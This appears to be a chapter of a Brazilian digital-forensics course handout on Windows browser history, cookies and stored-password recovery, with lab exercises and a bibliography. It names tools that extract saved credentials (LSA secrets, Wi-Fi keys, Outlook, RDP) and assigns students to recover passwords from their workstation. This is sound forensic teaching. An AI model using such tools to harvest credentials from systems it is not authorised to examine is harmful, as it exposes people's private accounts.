Usando a ferramenta MozillaCookiesView ,observamos que os valores so mostrados nas colunas, junto com outras informaes sobre cada cookie.

Anlise forense avanada em Windows (parte 2)

174

Escola Superior de Redes RNP

Uma caracterstica interessante da ferramenta IEHistoryView que ela lista no


somente os sites visitados; como no Windows o Internet Explorer faz parte do
sistema, qualquer acesso a arquivos feito pelo Explorer tambm conta como um
site, e esta informao mostrada acima, como podemos ver pelas URLs que
comeam por file:// .

Recuperao de senhas

Recuperao de senhas
Ferramentas do kit para recuperao de senhas de
diversos servios do Windows e de aplicativos
instalados.
As ferramentas expem informaes privativas dos
usurios do computador, que podem no fazer parte da
investigao.
Por isso, o investigador deve ter conscincia da
importncia de manter estas informaes sob sigilo, e
no utiliz-las para qualquer finalidade que no seja uma
ao direta da investigao.
O computador em uso no deve utilizar senhas
pessoais.

Para finalizar nosso curso, vamos conhecer as


ferramentas presentes no kit que permitem ao investigador recuperar senhas de diversos servios do
Windows e de aplicativos instalados. Tais ferramentas expem informaes privativas dos usurios do
computador, e muitas vezes este tipo de informao
pode no fazer parte do objetivo da investigao.
Por isso, o investigador deve ter conscincia da
importncia de manter estas informaes sob sigilo,
e no utiliz-las para qualquer finalidade que no seja
a de uma ao direta da investigao.

Devemos ter conscincia de que o computador utilizado compartilhado com


diversos usurios e, portanto, no devemos utilizar senhas pessoais.
O mais importante: se utilizar alguma das ferramentas a seguir, evite divulgar as
informaes que porventura consiga visualizar.

Anlise forense Sesso de aprendizagem 10

175

\\accesspv.exe

Permite visualizar senhas de


arquivos Access.

Recuperao de senhas

\\lsasecretsview.exe

Acessa diversas chaves de


registro que armazenam senhas.

accesspv.exe
lsasecretsview.exe
mailpv.exe
mspass.exe
netpass.exe
pspv.exe
pstpassword.exe
rdpv.exe
wirelesskeyview.exe

\\mailpv.exe

Lista login e senha de usurios


configurados no MSN ou Hotmail.

\\mspass.exe

Lista login e senha de usurios


configurados no MSN.

\\netpass.exe

Visualiza senhas armazenadas de


auto-logon, Windows Live e .NET.

\\pspv.exe

Protected Storage Pass View, senhas


armazenadas pelo Internet Explorer.

\\pstpassword.exe
\\rdpv.exe

Visualiza senhas em arquivos do Microsoft Outlook.

Visualiza senhas configuradas no Remote Desktop.

\\wirelesskeyview.exe

Visualiza senhas configuradas para redes wireless.

Concluses

Concluses
Conhecemos ferramentas e tcnicas para coleta de
informaes importantes em sistemas Windows.
Aprendemos tcnicas para realizao de anlise forense
e ferramentas para uma resposta inicial a um incidente.
O aluno j possui conhecimentos para realizar anlises
em computadores comprometidos e identificar os
responsveis e eventos que comprometeram o sistema.
importante que o aluno entenda que este material
serve como uma base para que ele possa pesquisar e se
aprofundar no assunto.

Conhecemos diversas ferramentas e tcnicas para


coleta de informaes importantes em sistemas
Windows. Durante o curso, o aluno aprendeu tcnicas
de anlise forense e conheceu ferramentas para uma
resposta inicial a um incidente.

A partir de agora, o aluno possui uma base de


conhecimento para realizar anlises em computadores
comprometidos e identificar responsveis e eventos que
possam ter causado o comprometimento do sistema,
e com isso desenvolver medidas preventivas contra
ataques. Mesmo assim, importante que o aluno entenda que este material serve
como uma base para que ele possa pesquisar e se aprofundar no assunto. As atividades prticas e a bibliografia ajudam-no a iniciar sua pesquisa por mais informaes.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 10

176

10
Sesso de aprendizagem 10
Anlise forense avanada em Windows
(parte 2)
Roteiro de atividades
Tpicos e conceitos
\\Identificar

as conexes de rede e informaes do sistema operacional

Windows.

Competncias tcnicas desenvolvidas


\\Identificar

as conexes e portas ativas de rede e outras informaes volteis


da estao Windows.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

178

Atividade 1 Coleta de informaes de redes


Usando as ferramentas vistas nessa sesso, colete todas as evidncias


sobre conexes de rede em sua estao. Pesquise na internet as portas
abertas em sua estao e descreva o servio oferecido por elas. Pesquise
tambm as vulnerabilidades que podem afetar as portas.

Atividade 2 Coleta de informaes em registros do Windows


Utilizando as ferramentas de anlise do registro, examine o registro de


sua estao e faa um relatrio sobre o contedo das chaves
importantes, de acordo com o que foi mostrado no texto. Existe alguma
inconsistncia no resultado das ferramentas? Faa tambm uma cpia
completa do registro.

Atividade 3 Anlise de contedo do Recycle.Bin


Faa um relatrio sobre o contedo dos diretrios Recycler em sua


estao. Liste todos os usurios disponveis e o contedo dos diretrios
Recycler de cada um. Capture o contedo da rea de transferncia e
coloque em seu relatrio. Faa tambm uma pesquisa pelo ltimo arquivo
acessado no drive C: e coloque no relatrio todas as informaes
possveis sobre ele.

Atividade 4 Recuperao de dados ocultos ADS


Procure no disco de sua estao por arquivos que contenham Alternate


Data Streams. Faa um resumo dos tipos de arquivos encontrados.

Atividade 5 Anlise do histrico de navegao


Examine o histrico de navegao e cookies em sua estao. Voc


consegue dizer se a estao foi utilizada para acessar sites que no tm
a ver com o curso? Que tipo de informao voc considera mais
importante para uma investigao?

Anlise forense Sesso de aprendizagem 10

179

Atividade 6 Recuperao de senhas


Utilizando as ferramentas vistas no item de recuperao de senhas,


examine as informaes armazenadas em sua estao. Faa um relatrio
das senhas que encontrar. Lembre-se de manter o sigilo sobre o que
encontrar, mas informe ao seu instrutor se encontrar alguma senha de
uso pessoal armazenada na estao.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 10

180

Bibliografia
\\Access

Data. Acesso em maro de 2008, disponvel em: http://www.accessdata.com/

\\Alertas

do CAIS. Acesso em maro de 2008, disponvel em:


http://www.rnp.br/cais/alertas/

\\Analysis

of the ATD OpenSSL Mass Exploiter. Acesso em maro de 2008,


disponvel em SecureWorks: http://www.lurhq.com/atd.html

\\Another

hacker tool has been detected. Acesso em maro de 2008, disponvel em


Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt

\\Autopsy

Forensic Browser. Acesso em maro de 2008, disponvel em:


http://www.sleuthkit.org/autopsy/

\\AVG

Free. Acesso em maro de 2008, disponvel em:


http://free.grisoft.com/doc/2/lng/us/tpl/v5

\\BitDefender.

Acesso em maro de 2008, disponvel em:


http://www.bitdefender.com/site/Downloads/

\\Botnet

from SearchSecurity.com. Acesso em maro de 2008, disponvel em


SearchSecurity.com Definitions:
http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html

\\Botnet

from Wikipedia. Acesso em maro de 2008, disponvel em Wikipedia:


http://en.wikipedia.org/wiki/Botnet

\\CERT

Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL. Acesso em maro


de 2008, disponvel em CERT: http://www.cert.org/advisories/CA-2002-23.html

\\Chkrootkit.

Acesso em maro de 2008, disponvel em: http://www.chkrootkit.org

\\Clam

AntiVirus. Acesso em maro de 2008, disponvel em:


http://www.clamav.org/about/lang-pref/pt/

\\Computer

Desktop Encyclopedia: slack space. Acesso em maro de 2008, disponvel


em Answers.com: http://www.answers.com/topic/slack-space?cat=technology

\\Digital

Forensic Research Workshop. Acesso em maro de 2008, disponvel em


DFRWS: http://www.dfrws.org/

\\Dynamic-link

library from Wikipedia. Fonte: Wikipedia:


http://en.wikipedia.org/wiki/Dynamic-link_library

\\EnCase

Forensic. Acesso em maro de 2008, disponvel em Guidance Software:


http://www.guidancesoftware.com/products/ef_index.asp

\\Express,

M. o. (6 de agosto de 1999). Murder_on_the_Internet_Express.pdf.


Acesso em maro de 2008, disponvel em Neoprag:
http://www.neoprag.com/dcm/Murder_on_the_Internet_Express.pdf

\\Forensic

Computers, Inc. Acesso em maro de 2008, disponvel em:


http://www.forensic-computers.com/index.php

\\Forensic

Windows Tools. Acesso em maro de 2008, disponvel em Open Source


Digital Forensics: http://www.opensourceforensics.org/tools/windows.html

\\Forensics

Tools. Acesso em maro de 2008, disponvel em ForinSect - Forensics,


Intrusion Detection, Security Technology:
http://www.forinsect.de/forensics/forensics-tools.html

\\F-PROT

Antivirus. Acesso em maro de 2008, disponvel em:


http://www.f-prot.com/download/home_user/

\\Helix:

Incident Response & Computer Forensics Live CD by e-fense, Inc. Acesso


em maro de 2008, disponvel em Helix Live CD: http://www.e-fense.com/helix

\\Helix

from Forensics Wiki. Acesso em maro de 2008, disponvel em Forensics Wiki:


http://www.forensicswiki.org/index.php?title=Helix

\\IDA

Pro. Acesso em maro de 2008, disponvel em DataRescue:


http://www.datarescue.com/

\\Inside

Security Rescue Toolkit. Acesso em maro de 2008, disponvel em Inside


Security: http://www.inside-security.de/insert_en.html

\\LDasm.

Acesso em maro de 2008, disponvel em Feedface:


http://www.feedface.com/projects/ldasm.html

\\Linux.RST.B.

Acesso em maro de 2008, disponvel em Symantec:


http://www.symantec.com/security_response/writeup.jsp?docid=2004-052312-2729-99

\\md5deep.

Acesso em maro de 2008, disponvel em sourceforge.net:


http://md5deep.sourceforge.net

\\Microsoft

NTFS File System. Acesso em maro de 2008, disponvel em Microsoft


TechNet: http://www.microsoft.com/technet/prodtechnol/windows2000serv/
reskit/core/fncc_fil_khzt.mspx?mfr=true

\\Nachi

worm tries to undo Blaster damage - but no virus is a good virus, says
Sophos. (19 de Ago de 2003). Acesso em maro de 2008, disponvel em Sophos:
http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html

\\National

Software Reference Library. Acesso em maro de 2008, disponvel em:


http://www.nsrl.nist.gov/

\\NIST.

Cryptographic hash project. Fonte: NIST.gov:


http://www.csrc.nist.gov/groups/ST/hash/index.html

\\NTFS

file system. Acesso em maro de 2008, disponvel em Digit-Life:


http://www.digit-life.com/articles/ntfs/

\\NTFS

Master File Table (MFT). Acesso em maro de 2008, disponvel em NTFS.com:


http://www.ntfs.com/ntfs-mft.htm

\\NTFS

System (Metadata) Files. Acesso em maro de 2008, disponvel em


PCGuide: http://www.pcguide.com/ref/hdd/file/ntfs/archFiles-c.html

\\OllyDbg.

Acesso em maro de 2008, disponvel em OllyDbg: http://www.ollydbg.de/

\\Ondrej,

M. (2 de dezembro de 2004). Practical Attacks on Digital Signatures


Using MD5 Message Digest. Acesso em maro de 2008, disponvel em:
http://cryptography.hyperlink.cz/2004/collisions.htm

\\Panda

Antivirus. Acesso em maro de 2008, disponvel em Panda Security:


http://www.pandasecurity.com/brazil/

\\Piccolini,

J. D. Forensics under Brazilian Legislation. Acesso em maro de 2008,


disponvel em GIAC Certified Forensic Analyst (GCFA) Practical Assignment:
http://www.giac.org/certified_professionals/practicals/gcfa/86.php

\\Pimenta,

Flvio Aparecido. Percia forense computacional baseada em sistema


operacional Windows XP Professional. Sorocaba: Senac, 2007.

\\ProcessLibrary.com.

Acesso em maro de 2008, disponvel em:


http://www.processlibrary.com/

\\Prosise,

C., & Mandia, K. (2001). Incident Response: Investigating Computer


Crime. McGraw-Hill. psyBNC. Acesso em maro de 2008, disponvel em:
http://www.psybnc.info/

\\RFC

1321. (Abril de 1992). Acesso em maro de 2008, disponvel em faqs.org:


http://www.faqs.org/rfcs/rfc1321.html

\\RFC

3174. (Setembro de 2001). Acesso em maro de 2008, disponvel em faqs.org:


http://www.faqs.org/rfcs/rfc3174.html

\\RST-variant

analysis. Acesso em maro de 2008, disponvel em Lockeddown:


http://www.lockeddown.net/rst-expl.txt

\\Scott,

M. (Agosto de 2003). Independent Review of Common Forensic Imaging


Tools. Acesso em maro de 2008, disponvel em SANS Institute:
http://www.sans.org/reading_room/special/index.php?id=forensicimaging

\\SID:

Security Identifier. Acesso em maro de 2008, disponvel em Webopedia


ISP Glossary: http://isp.webopedia.com/TERM/S/SID.html

\\SID

Components. Acesso em maro de 2008, disponvel em msdn:


http://msdn2.microsoft.com/en-us/library/aa379597(VS.85).aspx

\\Slack

space data: Subversive Technologies & Countermeasures. Acesso em


maro de 2008, disponvel em Wikipedia:
http://www.wikistc.org/wiki/Slack_space_data

\\Solaris

Fingerprints Database. Acesso em maro de 2008, disponvel em:


http://sunsolve.sun.com/fileFingerprints.do

\\Steganography

from Wikipedia. Acesso em maro de 2008, disponvel em


Wikipedia: http://en.wikipedia.org/wiki/Steganography

\\Steganography:

Hiding Data Within Data. Acesso em maro de 2008, disponvel


em GaryKessler.Net: http://www.garykessler.net/library/steganography.html

\\Szydlo,

M. (19 de Agosto de 2005). SHA1 Collisions can be Found in 2^63


Operations. Acesso em maro de 2008, disponvel em RSA Laboratories:
http://www.rsa.com/rsalabs/node.asp?id=2927

\\The

Coroners Toolkit. Acesso em maro de 2008, disponvel em:


http://www.porcupine.org/forensics/tct.html

\\The

Honeynet Project. Acesso em maro de 2008, disponvel em:


http://www.honeynet.org/

\\The

NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em
maro de 2008, disponvel em Sleuth Kit:
http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html

\\The

Programmers File and Data Resource. Fonte: Wotsit.org:


http://www.wotsit.org/list.asp?fc=0

\\The

Sleuth Kit. Acesso em maro de 2008, disponvel em: http://www.sleuthkit.org/

\\Transactional

NTFS (TxF). Acesso em maro de 2008, disponvel em msdn:


http://msdn2.microsoft.com/en-us/library/aa365456.aspx

\\Tripwire.

Acesso em maro de 2008, disponvel em Tripwire - Configuration Audit


& Control Solutions: http://www.tripwire.com

\\Vexira

Antivirus. Fonte: http://www.centralcommand.com/

\\VMware

Virtualization, Virtual Machine & Virtual Server Consolidation - VMware.


Acesso em maro de 2008, disponvel em VMWare: http://www.vmware.com/

\\Wine

HQ. Acesso em maro de 2008, disponvel em Wine HQ:


http://www.winehq.org/

Seja um investigador
capaz de coletar evidncias digitais
e conduzir uma anlise em
sistemas comprometidos
Anlise forense
O curso apresenta as tcnicas e ferramentas utilizadas
em anlise forense computacional. Aprenda os procedimentos a serem seguidos pelo investigador durante a
anlise do incidente. Crie o CD de ferramentas forenses
que ser utilizado durante a investigao.
Aprenda a coletar evidncias em uma imagem de disco
de uma mquina comprometida. Elabore uma cronologia do ataque, descrevendo o que aconteceu e quando
ocorreu cada evento do computador investigado.
Compreenda as particularidades do processo de anlise forense em Linux e Windows e a gnese das informaes que devem ser coletadas em cada situao
enfrentada. Identifique as informaes dos programas
executados e as bibliotecas associadas.

www.esr.rnp.br

Você também pode gostar